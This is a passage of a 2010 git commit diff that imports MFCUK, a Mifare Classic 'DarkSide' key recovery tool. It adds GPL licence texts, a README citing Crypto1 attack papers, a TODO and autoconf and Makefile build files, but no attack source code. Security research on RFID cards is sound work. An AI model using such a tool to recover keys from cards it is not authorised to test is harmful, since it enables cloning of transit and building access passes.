commit 9f75cc95cce1ca3e520614ea9007e55f44e43b8c Author: zveriu Date: Tue Mar 30 18:11:31 2010 +0000 Initial move from tk-libnfc-crapto1 to mfcuk diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..5c4fd2c --- /dev/null +++ b/AUTHORS @@ -0,0 +1 @@ +Andrei Costin , http://andreicostin.com diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..d511905 --- /dev/null +++ b/COPYING @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/ChangeLog b/ChangeLog new file mode 100644 index 0000000..e69de29 diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d511905 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/Makefile.am b/Makefile.am new file mode 100644 index 0000000..b0326f8 --- /dev/null +++ b/Makefile.am @@ -0,0 +1,4 @@ +SUBDIRS = src + +#pkgconfigdir = $(libdir)/pkgconfig +#pkgconfig_DATA = libnfc.pc diff --git a/NEWS b/NEWS new file mode 100644 index 0000000..e69de29 diff --git a/README b/README new file mode 100644 index 0000000..051862b --- /dev/null +++ b/README @@ -0,0 +1,45 @@ +README +====== + +PACKAGE +------- +MiFare Classic Universal toolKit (MFCUK) + +TOOL(S) +------- +Mifare Classic DarkSide Key Recovery Tool (mfcuk_keyrecovery_darkside.c) (previously known as zv_mf_dark_side) +... + +LICENSE +------- +GPL. See MFCUK_LICENSE for more information. + + +BIBLIOGRPAHY (no specific order) +--------------------------------- +1. [WPMCC09] - "Wirelessly Pickpocketing a Mifare Classic Card" +2. [ESO08] - "2008-esorics.pdf" +3. [ESOSL08] - "2008-esorics-slides-updated.pdf" +4. [KON08] - "2008-koning-thesis.pdf" +5. [VER08] - "2008-verdult-thesis.pdf" +6. [PATMC] - "A Practical Attack on the MIFARE Classic.pdf" +7. [NCOURFIDSEC09] - "mifare_courtois_rfidsec09.pdf" +8. [MFCLTRB09] - "MifareClassicTroubles.ppt" +9. [TEEP08] - "p2008-teepe-classic_mistakes.pdf" +10. [RFIDSANJ] - "RFID Attacks_WCA_San_Jose.pdf" +11. [ROSS] - "rossum-mifare.pdf" +12. [PLOTZ08] - "SAR-PR-2008-21_.pdf" +13. [ROSSSASG] - "SASG35_Peter_v_Rossum_Mifare.pdf" +14. [DARK2009] - "THE DARK SIDE OF SECURITY BY OBSCURITY and Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" + +KUDOS and HATS-OFF to (no specific order) (for all the knowledge, time spent researching and all the things) +--------------------- + - blapost@gmail.com - this man is a genius and a technical artist. crapto1 3.1 is the horse power of this tool. PS: you somehow resemble I.C.Wiener anonymous&smart hacker + - Roel and RConty @ libnfc/proxmark - these guys are true advisers, helpful. Thanks for providing a powerfull platform for NFC + - N.Curtois - also a crypto-artist in differential analysis. The 29bit prefix attack is pure genius of theoretical analysis. + - RU University Staff for working out different aspects and papers for Crypto1 analysis + - Nohl, Plotz, Evans - how the "F" did you get those slicers and microscopes :))? + - Milosch M et al. - for pushing the limits for open-source hardware (OpenPCD and OpenPICC) + - Jonathan Westhues - for giving the open-source community the: Proxmark schematics/sources and RFID knowledge + - Nethemba team - for first open-source/GPL nested authentication attack key recovery implementation in MFOC + - hat, schwa226, pgrahamm, marcus2608, phadom - for useful samples, advices, traces and all the things diff --git a/TODO b/TODO new file mode 100644 index 0000000..7903d96 --- /dev/null +++ b/TODO @@ -0,0 +1,19 @@ +TODO +==== + +PACKAGE +------- +MiFare Classic Universal toolKit (MFCUK) + +TOOL(S) +------- +Mifare Classic DarkSide Key Recovery Tool (mfcuk_keyrecovery_darkside.c) (previously known as zv_mf_dark_side) +... + +ITEMS +===== +0. Integrate with MFOC into MFCUK +1. Improve the performance (though not bad) +2. Optimize bits operations +3. Remove dead-code/commented block after testing +4. Proper error handling in some cases (not critical errors, but nice to have checks in place) \ No newline at end of file diff --git a/configure.ac b/configure.ac new file mode 100644 index 0000000..0270f88 --- /dev/null +++ b/configure.ac @@ -0,0 +1,68 @@ +# -*- Autoconf -*- +# Process this file with autoconf to produce a configure script. + +AC_PREREQ([2.64]) +AC_INIT([mfcuk], [0.3], [zveriu@gmail.com]) + +AM_INIT_AUTOMAKE + +AC_CONFIG_MACRO_DIR([m4]) + +AC_CONFIG_HEADERS([config.h]) + +m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])]) + +# Checks for libnfc. +WITH_NFC=0 +## Search libnfc with command line option (default prefix: auto) +LIBNFC_PREFIX="auto" +AC_ARG_WITH(libnfc,[--with-libnfc=DIR location of the libnfc], + [if test "$withval" != no; then + if test "$withval" != yes; then + LIBNFC_PREFIX=$withval + fi + fi]) +if test x"$LIBNFC_PREFIX" != "xauto"; then + LIBNFC_CFLAGS="-L$LIBNFC_PREFIX/lib/ -I$LIBNFC_PREFIX/include/" + LIBNFC_LIBS="-lnfc" +fi + +# Search using pkg-config +AC_PATH_PROG(PKG_CONFIG, pkg-config, [AC_MSG_WARN([pkg-config not found.])]) +if test x"$WITH_NFC" = "x0"; then + if test x"$PKG_CONFIG" != "x"; then + PKG_CHECK_MODULES([LIBNFC], [libnfc], [WITH_NFC=1], [WITH_NFC=0]) + fi +fi +CFLAGS="$CFLAGS $LIBNFC_CFLAGS" +AC_CHECK_HEADERS([nfc/nfc.h],[WITH_NFC=1], AC_MSG_ERROR([A version of libnfc greater than or equal to 1.3 is required])) + +if test x"$WITH_NFC" = "x0"; then + AC_MSG_ERROR([A version of libnfc greater than or equal to 1.3 is required.]) +fi + +# Checks for programs. +AC_PROG_CC + +# Checks for libraries. +AC_CHECK_LIB([nfc], [nfc_version]) + +# Checks for header files. +AC_CHECK_HEADERS([stdint.h stdlib.h string.h sys/time.h unistd.h]) + +# Checks for typedefs, structures, and compiler characteristics. +AC_HEADER_STDBOOL +AC_TYPE_SIZE_T +AC_TYPE_UINT16_T +AC_TYPE_UINT32_T +AC_TYPE_UINT64_T +AC_TYPE_UINT8_T + +# Checks for library functions. +AC_FUNC_MALLOC +AC_FUNC_REALLOC +AC_CHECK_FUNCS([memset strchr]) + +AC_CONFIG_FILES([Makefile + src/Makefile]) +AC_OUTPUT diff --git a/src/Makefile.am b/src/Makefile.am new file mode 100644 index 0000000..9aa2c13 --- /dev/null +++ b/src/Makefile.am @@ -0,0 +1,7 @@ +bin_PROGRAMS = mfcuk_keyrecovery_darkside + +# set the include path found by configure +mfcuk_keyrecovery_darkside_SOURCES = mfcuk_keyrecovery_darkside.c mfcuk_mifare.c mfcuk_utils.c crapto1.c crypto1.c +mfcuk_keyrecovery_darkside_LDADD = -lnfc -lusb -lpcsclite + +# dist_man_MANS = mfcuk_keyrecovery_darkside.1 diff --git a/src/bin/libnfc.dll b/src/bin/libnfc.dll new file mode 100644 index 0000000..ed3d64d Binary files /dev/null and b/src/bin/libnfc.dll differ diff --git a/src/bin/libnfc.lib b/src/bin/libnfc.lib new file mode 100644 index 0000000..ab71e7b Binary files /dev/null and b/src/bin/libnfc.lib differ diff --git 